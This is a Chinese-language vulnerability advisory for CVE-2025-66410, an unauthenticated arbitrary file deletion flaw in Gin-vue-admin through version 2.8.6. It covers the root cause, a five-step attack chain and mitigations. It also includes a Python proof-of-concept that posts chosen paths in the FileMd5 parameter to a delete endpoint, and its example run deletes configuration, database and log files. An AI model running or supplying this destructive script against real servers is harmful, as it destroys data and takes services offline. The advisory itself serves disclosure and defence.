CVE-2025-66410: Gin-vue-admin任意文件删除漏洞

漏洞信息

漏洞编号

CVE-2025-66410

漏洞类型

任意文件删除

CVSS评分

9.1 严重

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

Gin-vue-admin

漏洞概述

Gin-vue-admin是一个基于Vue和Gin框架开发的后台管理系统。该系统在2.8.6及之前版本中存在严重的任意文件删除漏洞，攻击者可以通过控制FileMd5参数删除服务器上的任意文件和文件夹。此漏洞无需任何认证即可被利用，攻击者可直接通过网络发起攻击，导致服务器资源损坏或服务不可用。攻击成功后，攻击者可删除系统配置文件、数据库文件、应用代码等关键文件，造成严重的业务中断和数据丢失风险。由于该漏洞影响范围广、危害程度高，且利用门槛低，建议相关用户尽快升级到最新版本或采取临时缓解措施。

技术细节

该漏洞源于Gin-vue-admin系统中文件删除功能对用户输入的FileMd5参数缺乏充分的验证和过滤。攻击者通过构造恶意的FileMd5参数值，可以指定任意文件路径进行删除操作。系统在接受FileMd5参数后，直接将其作为文件路径进行处理，导致路径遍历和任意文件删除漏洞。攻击者可以利用此漏洞删除服务器上的敏感文件，如配置文件、日志文件、数据库文件、甚至系统关键文件。漏洞的根因在于后端API接口未对用户输入的文件路径进行安全校验，未实现基于用户权限的文件访问控制机制。在实际攻击场景中，攻击者通常会先探测系统结构，然后有针对性地删除关键文件以实现拒绝服务或进一步渗透的目的。

攻击链分析

STEP 1

步骤1: 信息收集

攻击者首先识别目标网站使用的技术栈，确认其为Gin-vue-admin系统，并确定版本号是否在2.8.6及以下

STEP 2

步骤2: 漏洞探测

攻击者访问系统的文件管理相关API接口，探测是否存在文件删除功能，并验证FileMd5参数是否可被外部控制

STEP 3

步骤3: 构造恶意请求

攻击者构造包含恶意文件路径的FileMd5参数，通过HTTP POST请求发送到服务器的文件删除接口

STEP 4

步骤4: 执行文件删除

服务器解析FileMd5参数后，直接使用该路径执行文件删除操作，攻击者成功删除任意文件

STEP 5

步骤5: 扩大攻击影响

攻击者根据目标系统结构，有针对性地删除关键配置文件、数据库文件或系统文件，导致服务中断或数据丢失

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# CVE-2025-66410 PoC - Arbitrary File Deletion in Gin-vue-admin
# Target: Gin-vue-admin <= 2.8.6

TARGET_URL = "http://target.com/api/v1/file/delete"  # Replace with actual endpoint

def delete_arbitrary_file(file_path):
    """
    Delete arbitrary file on the server by controlling FileMd5 parameter
    """
    headers = {
        "Content-Type": "application/json",
        # Add authentication headers if needed
    }
    
    payload = {
        "FileMd5": file_path  # Attacker controls this parameter
    }
    
    try:
        response = requests.post(TARGET_URL, json=payload, headers=headers, timeout=10)
        print(f"[*] Request sent for: {file_path}")
        print(f"[*] Status: {response.status_code}")
        print(f"[*] Response: {response.text}")
        return response
    except Exception as e:
        print(f"[!] Error: {e}")
        return None

# Example: Delete critical files
if __name__ == "__main__":
    # Delete config file
    delete_arbitrary_file("/etc/gin-vue-admin/config.yaml")
    
    # Delete database file
    delete_arbitrary_file("/var/lib/gin-vue-admin/database.db")
    
    # Delete application log
    delete_arbitrary_file("/var/log/gin-vue-admin/app.log")

影响范围

Gin-vue-admin <= 2.8.6

防御指南

临时缓解措施

在官方修复版本发布之前，可采取以下临时缓解措施：1）禁用或限制文件删除功能的使用；2）配置Web应用防火墙规则，拦截包含路径遍历特征的FileMd5参数；3）限制Web服务器运行账户的文件系统权限；4）实施定期备份策略，确保关键数据可恢复；5）加强服务器监控，及时发现异常的文件操作行为。建议优先进行版本升级以彻底消除该安全风险。